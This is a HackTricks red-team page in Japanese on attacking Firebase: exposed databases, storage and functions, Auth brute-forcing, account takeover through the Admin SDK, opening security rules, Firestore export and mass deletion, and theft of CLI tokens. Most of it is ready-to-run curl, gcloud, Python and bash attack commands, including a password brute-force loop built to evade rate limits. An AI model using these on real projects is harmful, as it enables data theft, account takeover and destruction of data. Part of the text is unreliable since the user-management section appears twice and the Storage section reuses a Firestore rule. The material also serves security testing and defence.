GCP - Firebase Privesc

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Firebase

Firebase Realtime Database への未認証アクセス

攻撃者はこの攻撃を実行するために特定の Firebase 権限を必要としません。必要なのは Firebase Realtime Database のセキュリティルールが脆弱に設定され、.read: true または .write: true により公開読み取り／書き込みが許可されていることだけです。

攻撃者はデータベースの URL を特定する必要があり、通常は https://<project-id>.firebaseio.com/ の形式になります。

この URL は、モバイルアプリのリバースエンジニアリング（Android APK をデコンパイルする、または iOS アプリを解析する）、google-services.json（Android）や GoogleService-Info.plist（iOS）などの設定ファイルの解析、ウェブアプリのソースコードの検査、またはネットワークトラフィックを調べて *.firebaseio.com へのリクエストを特定することで見つけられます。

攻撃者はデータベース URL を特定して公開されているか確認し、データにアクセスしたり、悪意のある情報を書き込んだりする可能性があります。

まず、URL に .json を付けてデータベースが読み取りを許可しているか確認します。

curl https://<project-id>-default-rtdb.firebaseio.com/.json

レスポンスが JSON データまたは null（“Permission Denied” の代わりに）を含む場合、データベースは read access を許可しています。write access を確認するには、attacker は Firebase REST API を使ってテスト用の write request を送信してみることができます。

curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'

操作が成功すると、そのデータベースは書き込みアクセスも許可します。

Cloud Firestore におけるデータの露出

攻撃者はこの攻撃を実行するために特定の Firebase 権限を必要としません。必要なのは、Cloud Firestore のセキュリティルールが認証なし、または不十分な検証で読み取りまたは書き込みを許可するような脆弱な設定になっていることだけです。フルアクセスを許す誤設定ルールの例は次のとおりです：

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

このルールは、誰でもすべてのドキュメントを制限なく読み書きできるようにします。Firestore rules は粒度が細かく、コレクションやドキュメント単位で適用されるため、特定のルールの誤設定が一部のコレクションのみを公開してしまう場合があります。

攻撃者は Firebase Project ID を特定する必要があり、これは mobile app reverse engineering、google-services.json や GoogleService-Info.plist といった設定ファイルの解析、web アプリケーションのソースコードの検査、あるいは firestore.googleapis.com へのリクエストを特定するための network traffic の解析などで見つけられます。 The Firestore REST API uses the format:

https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

ルールが未認証での読み取りアクセスを許可している場合、攻撃者はコレクションとドキュメントを読み取ることができます。まず、特定のコレクションにアクセスしようとします:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>

レスポンスが権限エラーではなくJSONドキュメントを返す場合、そのコレクションは公開されています。攻撃者は一般的な名前を試すかアプリケーションの構造を解析することで、アクセス可能なすべてのコレクションを列挙できます。特定のドキュメントにアクセスするには：

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

ルールが未認証の書き込みアクセスを許可している場合、またはバリデーションが不十分な場合、攻撃者は新しいドキュメントを作成できます:

curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'

既存のドキュメントを変更するには PATCH を使用します:

curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'

ドキュメントを削除して denial of service を引き起こすには:

curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Firebase Storage におけるファイルの公開

攻撃者はこの攻撃を実行するために特別な Firebase 権限を必要としません。必要なのは、Firebase Storage のセキュリティルールに脆弱な設定があり、認証なしまたは不十分な検証で読み取りまたは書き込みアクセスを許可していることだけです。セキュリティルールは読み取りと書き込みの許可を独立して制御するため、ルールの誤設定により読み取りのみ、書き込みのみ、または両方が公開される可能性があります。誤って完全なアクセスを許可してしまうルールの例は次のとおりです:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

このルールは、すべてのドキュメントに対して制限なく読み取りおよび書き込みアクセスを許可します。Firestore のルールは細かく、コレクション単位およびドキュメント単位で適用されるため、特定のルールの誤設定によって一部のコレクションのみが公開されることがあります。攻撃者は Firebase Project ID を特定する必要があり、これは mobile application reverse engineering、google-services.json や GoogleService-Info.plist といった設定ファイルの解析、web application source code の検査、あるいは firestore.googleapis.com へのリクエストを識別するためのネットワークトラフィック解析によって見つけられます。 The Firestore REST API uses the format:https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.

ルールが未認証の読み取りアクセスを許可している場合、攻撃者はコレクションおよびドキュメントを読み取ることができます。まず、特定のコレクションへのアクセスを試みます。

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"

レスポンスが権限エラーの代わりにファイル一覧を含む場合、そのファイルは公開されています。攻撃者はパスを指定することでファイルの内容を閲覧できます:

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"

ルールが未認証の書き込みアクセスを許可している、または検証が不十分な場合、攻撃者は悪意のあるファイルをアップロードできます。REST API を介してファイルをアップロードするには:

curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>

攻撃者は code shells、malware payloads、または大きなファイルをアップロードして denial of service を引き起こすことができます。アプリケーションがアップロードされたファイルを処理または実行する場合、攻撃者は remote code execution を達成する可能性があります。ファイルを削除して denial of service を引き起こすには：

curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"

公開された Firebase Cloud Functions の呼び出し

攻撃者がこの問題を悪用するために特定の Firebase 権限は不要で、HTTP 経由で認証なしに公開された Cloud Function が存在するだけで十分です。

関数は次のように不適切に設定されている場合に脆弱になります:

  • functions.https.onRequest を使用している — これは認証を強制しません（onCall 関数とは異なります）。
  • 関数のコードがユーザーの認証を検証していない（例: request.auth や context.auth のチェックがない）。
  • 関数が IAM で公開されており、allUsers が roles/cloudfunctions.invoker ロールを持っていることを意味します。これは、開発者がアクセスを制限しない限り HTTP 関数のデフォルト動作です。

Firebase HTTP Cloud Functions は、次のような URL で公開されます:

  • https://<region>-<project-id>.cloudfunctions.net/<function-name>
  • https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)

攻撃者は、これらの URL を source code analysis、network traffic inspection、enumeration tools、または mobile app reverse engineering によって発見できます。
関数が公開されていて認証されていない場合、攻撃者は資格情報なしで直接呼び出すことができます。

# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'

関数が入力を適切に検証しない場合、攻撃者はcode injectionやcommand injectionなどの他の攻撃を試みる可能性があります。

Brute-force attack against Firebase Authentication with a weak password policy

攻撃者はこの攻撃を実行するために特定の Firebase 権限を必要としません。必要なのは、Firebase API Key がモバイルやウェブアプリに露出していること、そしてパスワードポリシーがデフォルトより厳しく設定されていないことだけです。

攻撃者は Firebase API Key を特定する必要があり、これは mobile app reverse engineering、google-services.json や GoogleService-Info.plist のような設定ファイルの解析、ウェブアプリのソースコードの確認（例: bootstrap.js）、またはネットワークトラフィックの解析によって見つけられます。

Firebase Authentication の REST API は以下のエンドポイントを使用して、email と password で認証します: https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>

もし Email Enumeration Protection が無効になっていると、API のエラー応答からメールがシステムに存在するかどうか（EMAIL_NOT_FOUND vs. INVALID_PASSWORD）を明らかにすることができ、攻撃者はパスワード推測を行う前にユーザの列挙を行うことが可能になります。保護が有効な場合、API は存在しないメールと間違ったパスワードの両方に対して同じエラーメッセージを返し、ユーザ列挙を防ぎます。

重要なのは、Firebase Authentication がレート制限を強制しており、短時間に認証試行が多すぎるとリクエストがブロックされる可能性があることです。そのため、攻撃者はレート制限を回避するために試行間に遅延を挟む必要があります。

攻撃者は API Key を特定し、既知のアカウントに対して複数のパスワードで認証試行を行います。Email Enumeration Protection が無効な場合、攻撃者はエラー応答を解析して既存ユーザを列挙できます:

# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'

レスポンスに EMAIL_NOT_FOUND が含まれている場合、そのメールアドレスはシステムに存在しません。INVALID_PASSWORD が含まれている場合、そのメールアドレスは存在するがパスワードが間違っており、ユーザーが登録されていることが確認できます。有効なユーザーが特定されると、攻撃者は brute-force を試みることができます。Firebase Authentication のレート制限に引っかからないよう、試行の間に適切な待機を入れることが重要です:

counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi

# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done

デフォルトのパスワードポリシー（最小6文字、複雑性要件なし）の場合、攻撃者は6文字パスワードの全組み合わせを試すことができ、より厳しいポリシーと比べて探索空間は比較的に小さくなります。

Firebase Authentication におけるユーザー管理

この攻撃を実行するには、攻撃者は特定の Firebase Authentication の権限が必要です。必要な権限は次のとおりです:

  • firebaseauth.users.create to create users
  • firebaseauth.users.update to modify existing users
  • firebaseauth.users.delete to delete users
  • firebaseauth.users.get to retrieve user information
  • firebaseauth.users.sendEmail to send emails to users
  • firebaseauth.users.createSession to create user sessions

これらの権限は roles/firebaseauth.admin ロールに含まれており、Firebase Authentication リソースへの完全な読み書きアクセスを付与します。また、roles/firebase.developAdmin（すべての firebaseauth.* 権限を含む）や roles/firebase.admin（すべての Firebase サービスへの完全アクセス）などの上位ロールにも含まれます。

Firebase Admin SDK を使用するには、攻撃者はサービスアカウントの資格情報（JSON ファイル）へのアクセスを必要とします。これらは、侵害されたシステム、公開されたコードリポジトリ、侵害された CI/CD システム、またはこれらの資格情報へアクセスできる開発者アカウントの侵害を通じて見つかる可能性があります。

最初のステップは、サービスアカウントの資格情報を使って Firebase Admin SDK を設定することです。

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

被害者のメールアドレスを使って悪意のあるユーザーを作成するため、攻撃者は Firebase Admin SDK を使用してそのメールアドレスで新しいアカウントを生成しようとします。

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

既存のユーザーを変更するには、attackerはメールアドレス、検証状態、アカウントが無効化されているかどうかなどのフィールドを更新します。

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

ユーザーアカウントを削除して denial of service を引き起こすために、攻撃者はそのユーザーを完全に削除するリクエストを発行します。

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

攻撃者は、UIDやメールアドレスを指定して既存ユーザーの情報を取得することもできます。

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

さらに、攻撃者は検証リンクやパスワード再設定リンクを生成してユーザーのパスワードを変更し、そのアカウントにアクセスできるようにする可能性がある。

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Firebase Authentication のユーザー管理

攻撃者がこの攻撃を実行するには、Firebase Authentication の特定の権限が必要です。必要な権限は次のとおりです：

  • firebaseauth.users.create — ユーザーを作成するため
  • firebaseauth.users.update — 既存ユーザーを変更するため
  • firebaseauth.users.delete — ユーザーを削除するため
  • firebaseauth.users.get — ユーザー情報を取得するため
  • firebaseauth.users.sendEmail — ユーザーへメールを送信するため
  • firebaseauth.users.createSession — ユーザーセッションを作成するため

これらの権限は roles/firebaseauth.admin ロールに含まれており、Firebase Authentication リソースへの完全な読み書きアクセスを付与します。また、roles/firebase.developAdmin（firebaseauth.* のすべての権限を含む）や roles/firebase.admin（すべての Firebase サービスへのフルアクセス）などの上位ロールにも含まれます。

Firebase Admin SDK を使用するには、攻撃者はサービスアカウントの資格情報（JSON ファイル）へのアクセスが必要であり、これらは侵害されたシステム、公開されているコードリポジトリ、侵害された CI/CD 環境、またはこれらの資格情報にアクセスできる開発者アカウントの侵害などから取得される可能性があります。

最初のステップは、サービスアカウントの資格情報を使用して Firebase Admin SDK を設定することです。

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

victim’s emailを使用して悪意のあるユーザーを作成するために、attackerはそのメールアドレスで新しいユーザーアカウントを作成し、自分のパスワードとプロフィール情報を割り当てようとします。

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

既存ユーザーを変更する際、攻撃者はメールアドレス、確認状態、またはアカウントが無効化されているかどうかといったフィールドを変更します。

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

ユーザーアカウントを削除することで—実質的に denial of service を引き起こす—攻撃者はそのユーザーを永久に削除するリクエストを送信します。

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

攻撃者は、UIDやemailなど既存ユーザーの情報を、UIDまたはemail addressでユーザー詳細を要求して取得することもできます。

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

さらに、攻撃者は verification links や password-reset links を生成して、ユーザーのパスワードを変更しアカウントを乗っ取ることができます。

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Firebase サービスのセキュリティルールの変更

攻撃者はサービスに応じてセキュリティルールを変更するための特定の権限を必要とする。Cloud Firestore および Firebase Cloud Storage では、ルールセットを作成するために firebaserules.rulesets.create、リリースをデプロイするために firebaserules.releases.create が必要である。これらの権限は roles/firebaserules.admin ロール、または roles/firebase.developAdmin や roles/firebase.admin のような上位ロールに含まれている。Firebase Realtime Database の場合、必要な権限は firebasedatabase.instances.update である。

攻撃者はセキュリティルールを変更するために Firebase REST API を使用する必要がある。 まず、攻撃者は service account credentials を使用して access token を取得する必要がある。 トークンを取得するには：

gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)

Firebase Realtime Database のルールを変更するには：

curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'

Cloud Firestore rules を変更するには、攻撃者は ruleset を作成してからそれを deploy する必要があります：

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

前のコマンドは projects//rulesets/ の形式で ruleset 名を返します。新しいバージョンをデプロイするには、PATCH リクエストを使用してリリースを更新する必要があります:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Firebase Cloud Storage のルールを変更するには:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

前のコマンドは projects//rulesets/ の形式で ruleset 名を返します。新しいバージョンをデプロイするには、リリースを PATCH リクエストで更新する必要があります:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Cloud Firestore におけるデータの持ち出しと改ざん

Cloud Firestore は Cloud Datastore と同じインフラストラクチャと権限システムを使用するため、Datastore IAM の権限はそのまま Firestore に適用されます。TTL ポリシーを操作するには、datastore.indexes.update の権限が必要です。データをエクスポートするには、datastore.databases.export の権限が必要です。データをインポートするには、datastore.databases.import の権限が必要です。大量のデータ削除を行うには、datastore.databases.bulkDelete の権限が必要です。

バックアップとリストア操作には、以下の特定の権限が必要です：

  • datastore.backups.get と datastore.backups.list — 利用可能なバックアップの一覧取得と詳細取得のため
  • datastore.backups.delete — バックアップを削除するため
  • datastore.backups.restoreDatabase — バックアップからデータベースを復元するため
  • datastore.backupSchedules.create と datastore.backupSchedules.delete — バックアップスケジュールの管理のため

TTL ポリシーが作成されると、削除対象となるエンティティを識別するためのプロパティが指定されます。この TTL プロパティは Date and time 型でなければなりません。攻撃者は既存のプロパティを選択するか、後で追加する予定のプロパティを指定できます。フィールドの値が過去の日付であれば、そのドキュメントは即時削除の対象になります。攻撃者は gcloud CLI を使って TTL ポリシーを操作できます。

# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl

データをエクスポートして exfiltrate するには、攻撃者は gcloud CLI を使用できます。

gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'

悪意のあるデータをインポートするには:

gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'

大量のデータを削除して denial of service を引き起こすために、the attacker は gcloud Firestore bulk-delete tool を使用してコレクション全体を削除できる。

gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>

バックアップと復元の操作では、攻撃者はデータベースの現在の状態を取得するためにスケジュールされた backups を作成したり、既存の backups を一覧表示したり、backup から restore して最近の変更を上書きしたり、backups を削除して恒久的なデータ損失を引き起こしたり、スケジュール済みの backups を削除したりできます。 すぐに backup を生成する毎日の backup スケジュールを作成するには：

gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>

特定のバックアップから復元するには、攻撃者はそのバックアップに含まれるデータを使って新しいデータベースを作成することができる。復元操作はバックアップのデータを新しいデータベースに書き込むため、既存のDATABASE_IDは使用できない。

gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>

バックアップを削除して永続的なデータ損失を引き起こすには:

gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>

Firebase CLI の資格情報の窃取と悪用

攻撃者はこの攻撃を実行するために特定の Firebase 権限を必要としませんが、開発者のローカルシステムまたは Firebase CLI の資格情報ファイルへのアクセスが必要です。これらの資格情報は次の場所にある JSON ファイルに格納されています:

  • Linux/macOS: ~/.config/configstore/firebase-tools.json

  • Windows: C:\Users[User].config\configstore\firebase-tools.json

このファイルには認証トークン（refresh_token や access_token を含む）が含まれており、攻撃者は firebase login を実行した元のユーザーとして認証できます。

攻撃者が Firebase CLI の資格情報ファイルにアクセスすると、そのファイルを自分のシステムにコピーして、Firebase CLI はデフォルトの場所から自動的に資格情報を使用します。これを行うと、攻撃者はそのユーザーがアクセス可能なすべての Firebase プロジェクトを表示できます。

firebase projects:list

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする